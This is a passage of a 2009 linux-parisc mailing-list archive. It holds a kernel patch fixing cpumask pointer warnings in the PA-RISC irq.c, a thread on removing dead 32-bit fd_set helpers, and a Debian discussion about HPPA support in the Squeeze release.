	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751721AbZFFVy1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Jun 2009 17:54:27 -0400
Original-Received: (qmail invoked by alias); 06 Jun 2009 21:54:28 -0000
Original-Received: from mnhm-590e0f04.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.15.4]
  by mail.gmx.net (mp026) with SMTP; 06 Jun 2009 23:54:28 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1813fQqgyk1sQ1U1OwElqxMnQv6UB7sQXWAlgrRUV
	MJjSPDNgl09jmt
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1723
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1723>

Fix miscompilation in arch/parisc/kernel/irq.c:
/mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/arch/parisc/kernel/irq.c:123: warning: passing arg 1 of `cpumask_setall' from incompatible pointer type
/mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/arch/parisc/kernel/irq.c:141: warning: passing arg 1 of `cpumask_copy' from incompatible pointer type
/mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/arch/parisc/kernel/irq.c:300: warning: passing arg 1 of `cpumask_copy' from incompatible pointer type
/mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/arch/parisc/kernel/irq.c:357: warning: passing arg 2 of `cpumask_copy' from incompatible pointer type

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 4ea4229..570a335 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -120,7 +120,7 @@ int cpu_check_affinity(unsigned int irq, const struct cpumask *dest)
 	if (CHECK_IRQ_PER_CPU(irq)) {
 		/* Bad linux design decision.  The mask has already
 		 * been set; we must reset it */
-		cpumask_setall(&irq_desc[irq].affinity);
+		cpumask_setall(irq_desc[irq].affinity);
 		return -EINVAL;
 	}
 
@@ -138,7 +138,7 @@ static void cpu_set_affinity_irq(unsigned int irq, const struct cpumask *dest)
 	if (cpu_dest < 0)
 		return;
 
-	cpumask_copy(&irq_desc[irq].affinity, dest);
+	cpumask_copy(irq_desc[irq].affinity, dest);
 }
 #endif
 
@@ -297,7 +297,7 @@ int txn_alloc_irq(unsigned int bits_wide)
 unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 {
 #ifdef CONFIG_SMP
-	cpumask_copy(&irq_desc[irq].affinity, cpumask_of(cpu));
+	cpumask_copy(irq_desc[irq].affinity, cpumask_of(cpu));
 #endif
 
 	return per_cpu(cpu_data, cpu).txn_addr;
@@ -354,7 +354,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	irq = eirr_to_irq(eirr_val);
 
 #ifdef CONFIG_SMP
-	cpumask_copy(&dest, &irq_desc[irq].affinity);
+	cpumask_copy(&dest, irq_desc[irq].affinity);
 	if (CHECK_IRQ_PER_CPU(irq_desc[irq].status) &&
 	    !cpu_isset(smp_processor_id(), dest)) {
 		int cpu = first_cpu(dest);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] remove dead code from sys_parisc32.c
Date: Mon, 8 Jun 2009 09:37:27 +0200
Lines: 92
Approved: news@gmane.org
Message-ID: <20090608073727.GA19976@lst.de>
References: <20080817024151.GA24129@lst.de> <20081105140810.GA5411@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1244446660 6522 80.91.229.12 (8 Jun 2009 07:37:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Jun 2009 07:37:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 08 09:37:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MDZQC-0004h4-2p
	for glpp-linux-parisc@gmane.org; Mon, 08 Jun 2009 09:37:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750758AbZFHHh1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Jun 2009 03:37:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752319AbZFHHh1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Jun 2009 03:37:27 -0400
Original-Received: from verein.lst.de ([213.95.11.210]:33059 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750758AbZFHHh0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Jun 2009 03:37:26 -0400
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id n587bRDE020033
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO)
	for <linux-parisc@vger.kernel.org>; Mon, 8 Jun 2009 09:37:27 +0200
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id n587bRMb020031
	for linux-parisc@vger.kernel.org; Mon, 8 Jun 2009 09:37:27 +0200
Content-Disposition: inline
In-Reply-To: <20081105140810.GA5411@lst.de>
User-Agent: Mutt/1.3.28i
X-Spam-Score: -0.001 () BAYES_44
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1724
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1724>

ping?

On Wed, Nov 05, 2008 at 03:08:10PM +0100, Christoph Hellwig wrote:
> Anyone wants to pick this one up?
> 
> On Sun, Aug 17, 2008 at 04:41:51AM +0200, Christoph Hellwig wrote:
> > Unless I'm totally missing something get_fd_set32/set_fd_set32 are
> > completely unused.
> > 
> > 
> > Signed-off-by: Christoph Hellwig <hch@lst.de>
> > 
> > Index: linux-2.6/arch/parisc/kernel/sys_parisc32.c
> > ===================================================================
> > --- linux-2.6.orig/arch/parisc/kernel/sys_parisc32.c	2008-08-16 23:40:26.000000000 -0300
> > +++ linux-2.6/arch/parisc/kernel/sys_parisc32.c	2008-08-16 23:40:46.000000000 -0300
> > @@ -284,68 +284,6 @@ int cp_compat_stat(struct kstat *stat, s
> >  	return err;
> >  }
> >  
> > -/*** copied from mips64 ***/
> > -/*
> > - * Ooo, nasty.  We need here to frob 32-bit unsigned longs to
> > - * 64-bit unsigned longs.
> > - */
> > -
> > -static inline int
> > -get_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
> > -{
> > -	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
> > -	if (ufdset) {
> > -		unsigned long odd;
> > -
> > -		if (!access_ok(VERIFY_WRITE, ufdset, n*sizeof(u32)))
> > -			return -EFAULT;
> > -
> > -		odd = n & 1UL;
> > -		n &= ~1UL;
> > -		while (n) {
> > -			unsigned long h, l;
> > -			__get_user(l, ufdset);
> > -			__get_user(h, ufdset+1);
> > -			ufdset += 2;
> > -			*fdset++ = h << 32 | l;
> > -			n -= 2;
> > -		}
> > -		if (odd)
> > -			__get_user(*fdset, ufdset);
> > -	} else {
> > -		/* Tricky, must clear full unsigned long in the
> > -		 * kernel fdset at the end, this makes sure that
> > -		 * actually happens.
> > -		 */
> > -		memset(fdset, 0, ((n + 1) & ~1)*sizeof(u32));
> > -	}
> > -	return 0;
> > -}
> > -
> > -static inline void
> > -set_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
> > -{
> > -	unsigned long odd;
> > -	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
> > -
> > -	if (!ufdset)
> > -		return;
> > -
> > -	odd = n & 1UL;
> > -	n &= ~1UL;
> > -	while (n) {
> > -		unsigned long h, l;
> > -		l = *fdset++;
> > -		h = l >> 32;
> > -		__put_user(l, ufdset);
> > -		__put_user(h, ufdset+1);
> > -		ufdset += 2;
> > -		n -= 2;
> > -	}
> > -	if (odd)
> > -		__put_user(*fdset, ufdset);
> > -}
> > -
> >  struct msgbuf32 {
> >      int mtype;
> >      char mtext[1];
> ---end quoted text---
---end quoted text---
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] remove dead code from sys_parisc32.c
Date: Mon, 8 Jun 2009 10:17:51 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20090608141752.7E16F4FC4@hiauly1.hia.nrc.ca>
References: <20090608073727.GA19976@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244470679 16262 80.91.229.12 (8 Jun 2009 14:17:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Jun 2009 14:17:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: hch@lst.de (Christoph Hellwig)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 08 16:17:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MDffe-0006Mn-IC
	for glpp-linux-parisc@gmane.org; Mon, 08 Jun 2009 16:17:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754518AbZFHORv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Jun 2009 10:17:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754214AbZFHORv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Jun 2009 10:17:51 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1994 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754518AbZFHORu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Jun 2009 10:17:50 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7E16F4FC4; Mon,  8 Jun 2009 10:17:52 -0400 (EDT)
In-Reply-To: <20090608073727.GA19976@lst.de> from "Christoph Hellwig" at Jun 8, 2009 09:37:27 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1725
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1725>

> On Wed, Nov 05, 2008 at 03:08:10PM +0100, Christoph Hellwig wrote:
> > Anyone wants to pick this one up?
> > 
> > On Sun, Aug 17, 2008 at 04:41:51AM +0200, Christoph Hellwig wrote:
> > > Unless I'm totally missing something get_fd_set32/set_fd_set32 are
> > > completely unused.

In theory, they were removed in 2004 by this proposed change:
http://lkml.org/lkml/2004/4/17/37

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] remove dead code from sys_parisc32.c
Date: Mon, 8 Jun 2009 16:20:39 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20090608142039.GA3806@lst.de>
References: <20090608073727.GA19976@lst.de> <20090608141752.7E16F4FC4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1244470847 16839 80.91.229.12 (8 Jun 2009 14:20:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Jun 2009 14:20:47 +0000 (UTC)
Cc: Christoph Hellwig <hch@lst.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 08 16:20:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MDfiO-0007Vl-OA
	for glpp-linux-parisc@gmane.org; Mon, 08 Jun 2009 16:20:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754620AbZFHOUk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Jun 2009 10:20:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754628AbZFHOUk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Jun 2009 10:20:40 -0400
Original-Received: from verein.lst.de ([213.95.11.210]:38661 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754620AbZFHOUk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Jun 2009 10:20:40 -0400
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id n58EKdDE003859
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Mon, 8 Jun 2009 16:20:39 +0200
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id n58EKdBX003857;
	Mon, 8 Jun 2009 16:20:39 +0200
Content-Disposition: inline
In-Reply-To: <20090608141752.7E16F4FC4@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Spam-Score: 0 () 
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1726
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1726>

On Mon, Jun 08, 2009 at 10:17:51AM -0400, John David Anglin wrote:
> > On Wed, Nov 05, 2008 at 03:08:10PM +0100, Christoph Hellwig wrote:
> > > Anyone wants to pick this one up?
> > > 
> > > On Sun, Aug 17, 2008 at 04:41:51AM +0200, Christoph Hellwig wrote:
> > > > Unless I'm totally missing something get_fd_set32/set_fd_set32 are
> > > > completely unused.
> 
> In theory, they were removed in 2004 by this proposed change:
> http://lkml.org/lkml/2004/4/17/37

The users were removed, the helpers stayed.  Kyle promised to put the
patch to remove them in last year, but somehow the patch got lost a
couple of times :)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Neil McGovern <maulkin@halon.org.uk>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Mon, 8 Jun 2009 22:26:06 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20090608212606.GC19894@halon.org.uk>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1244497344 10348 80.91.229.12 (8 Jun 2009 21:42:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Jun 2009 21:42:24 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Jun 08 23:42:21 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MDmbg-0002BE-Vu
	for debian-hppa@m.gmane.org; Mon, 08 Jun 2009 23:42:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 98E272E8A14; Mon,  8 Jun 2009 21:42:16 +0000 (UTC)
Old-Return-Path: <maulkin@halon.org.uk>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=0.1 required=4.0 tests=FOURLA autolearn=no
	version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id C227013A51CB
	for <lists-debian-hppa@liszt.debian.org>; Mon,  8 Jun 2009 21:27:01 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-1.9 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1] autolearn=no
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id Fy6vsoytTtqO for <lists-debian-hppa@liszt.debian.org>;
	Mon,  8 Jun 2009 21:26:57 +0000 (UTC)
X-policyd-weight: DYN_NJABL=SKIP(0) NOT_IN_SBL_XBL_SPAMHAUS=-1.5 NOT_IN_BL_NJABL=-1.5 DSBL_ORG=ERR(0) HELO_IP_IN_CL_SUBNET=-1.2 (check from: .halon. - helo: .mx0.halon. - helo-domain: .halon.)  FROM/MX_MATCHES_HELO(DOMAIN)=-2; rate: -6.2
Original-Received: from mx0.halon.org.uk (cheddar.halon.org.uk [195.177.253.180])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by liszt.debian.org (Postfix) with ESMTPS id 6BBEB13A59DF
	for <debian-hppa@lists.debian.org>; Mon,  8 Jun 2009 21:26:51 +0000 (UTC)
Original-Received: from cpc1-cmbg7-0-0-cust232.cmbg.cable.ntl.com ([81.107.40.233] helo=cheshire.halon.org.uk)
	by mx0.halon.org.uk with esmtpsa (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <maulkin@halon.org.uk>)
	id 1MDmMf-00039x-O3; Mon, 08 Jun 2009 22:26:46 +0100
Original-Received: from maulkin by cheshire.halon.org.uk with local (Exim 4.69)
	(envelope-from <maulkin@halon.org.uk>)
	id 1MDmM2-0007ZE-F9; Mon, 08 Jun 2009 22:26:06 +0100
Content-Disposition: inline
In-Reply-To: <20090606183600.GA425@lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <YkDrzzVsh4I.A.HtC.4WYLKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6730
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon,  8 Jun 2009 21:42:16 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5732 gmane.linux.ports.parisc:1727
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1727>

Firstly, thanks for your mail, apologies that I haven't replied sooner,
we've had EU and local elections, so I've been busy runnign around with
leaflets, knocking on doors, kissing babies etc. like any politician. No
expenses though...

On Sat, Jun 06, 2009 at 12:36:01PM -0600, Grant Grundler wrote:
> Carlos O'Donnell asked some questions in response to [0] and I never
> saw any response.  Can an attendee of the above meeting please reply
> this email from Carlos?
>     http://lists.debian.org/debian-release/2009/04/msg00303.html
> 

I'm not sure what replies you'd like... there's certainly been some
follow ups to that mail.

> I also never got a response to my offer here:
>     http://lists.debian.org/debian-release/2009/04/msg00339.html
> 

Indeed, and that's worrying. I would have expected a HPPA porter (if
indeed one still exists) to have replied to that.

> Quite a few serious hppa specific bugs have been fixed upstream over
> the past 6 months. This is worth revisiting.
> 
> Is upstream stable enough for a buildd?  I don't know since I'm not aware
> of any attempts to run a buildd with those kernels.
> 

Neither do we, we're not HPPA porters :)
We did go through this before with newer kernels, and it didn't help
FWIW.

> Is the answer to that question still germane?

Ish. We still have the issue that you can't actually buy HPPAs any more,
and various bits and pieces from the Arch Requalification list.

[change of order by me below]
> Also, I'd like to ask HPPA debs be kept in "testing" staging area,
> just never promoted when the release is cut.  This will let people
> continue using HPPA without having to suffer with the !hppa breakage
> that lives in unstable. 

> (that's all I personally care about - I don't care about "stable"
> releases.)

This is one of the major problems for the port. Testing exists to create
the next stable release. Essentially, testing *is* the next stable,
except that it's a little volatile for a number of months... :)

> Can we have the minutes for this meeting?

I'm afraid they're not publicly available, but I will be posting a
mail to d-d-a real-soon-now(tm), apologies for the delays in this, it
was a rather full meeting.

Hope this helps,
Neil
-- 
A. Because it breaks the logical sequence of discussion
Q. Why is top posting bad?
gpg key - http://www.halon.org.uk/pubkey.txt ; the.earth.li A40F862E



From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and Squeeze
Date: Tue, 9 Jun 2009 01:44:27 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <7d01f9f00906081644s5d3e873ct887bf4fd777d55ec@mail.gmail.com>
References: <20090602140734.GC26721@mx0.halon.org.uk>
	 <20090606183600.GA425@lackof.org>
	 <20090608212606.GC19894@halon.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244504676 29389 80.91.229.12 (8 Jun 2009 23:44:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Jun 2009 23:44:36 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc@vger.kernel.org
To: Neil McGovern <maulkin@halon.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 09 01:44:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MDoW0-0004eF-FW
	for glpp-linux-parisc@gmane.org; Tue, 09 Jun 2009 01:44:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754124AbZFHXo2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Jun 2009 19:44:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754720AbZFHXo2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Jun 2009 19:44:28 -0400
Original-Received: from mail-fx0-f213.google.com ([209.85.220.213]:54890 "EHLO
	mail-fx0-f213.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754124AbZFHXo1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Jun 2009 19:44:27 -0400
Original-Received: by fxm9 with SMTP id 9so2597422fxm.37
        for <linux-parisc@vger.kernel.org>; Mon, 08 Jun 2009 16:44:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=lbmuOKrLOPaKjY+WgT9Oup2exuWDd6mqCHgFdym5CWc=;
        b=cZ2m4e0LCxWO0nYlFO+LP01vtQ4+Vb5e5QjivELYHElr4u14I6ThOafwnCf6NODbjC
         MOOUp32/u2H3aucMkfKjonrRG1A5JiOGiZdXdTDT7BkAZs65ClR54o1Ady5xHgyYr0zR
         qLKtboSKcdkmXCgulov+12mDODnSY8K+gKoMg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=oW/9gfAjsFy53x8bNadBaIgoOzdxD7OgALqr91iEBQ7CBatTtQ4rfpxkP1DaJttlGQ
         Eg9uxK+/jM8T6cT8Nk0U/CRkLkoAoV5CO9WxJaNo0Gte4Mzig5vvq7rg5+zRE7YG4Tun
         c9VtfM47sYGg+req/LMLAQxJvg3mtNMSdjtPI=
Original-Received: by 10.204.52.197 with SMTP id j5mr7242029bkg.157.1244504667064; Mon, 
	08 Jun 2009 16:44:27 -0700 (PDT)
In-Reply-To: <20090608212606.GC19894@halon.org.uk>
X-Google-Sender-Auth: 74121e6762250e0b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1728 gmane.linux.debian.ports.hppa:5733
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1728>

On Mon, Jun 8, 2009 at 11:26 PM, Neil McGovern<maulkin@halon.org.uk> wrote:
> On Sat, Jun 06, 2009 at 12:36:01PM -0600, Grant Grundler wrote:
>> Is the answer to that question still germane?
>
> Ish. We still have the issue that you can't actually buy HPPAs any more,

When did "being a marketed platform" become a criteria for inclusion?
Is Debian the new Ubuntu? :-P

> I'm afraid they're not publicly available, but I will be posting a
> mail to d-d-a real-soon-now(tm), apologies for the delays in this, it
> was a rather full meeting.

Failing this, could we please have a detailed rationale for the
decision? I already posted a reply to this thread asking for this,
which seems to have been ignored. Of course I understand you were busy
with EU elections, still, any kind of "ACK" would be nice.

Thanks,
T-Bone


-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Neil McGovern <neilm@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and Squeeze
Date: Tue, 9 Jun 2009 10:29:54 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20090609092954.GD19894@halon.org.uk>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <20090608212606.GC19894@halon.org.uk> <7d01f9f00906081644s5d3e873ct887bf4fd777d55ec@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="envbJBWh7q8WU6mo"
X-Trace: ger.gmane.org 1244539883 10759 80.91.229.12 (9 Jun 2009 09:31:23 GMT)
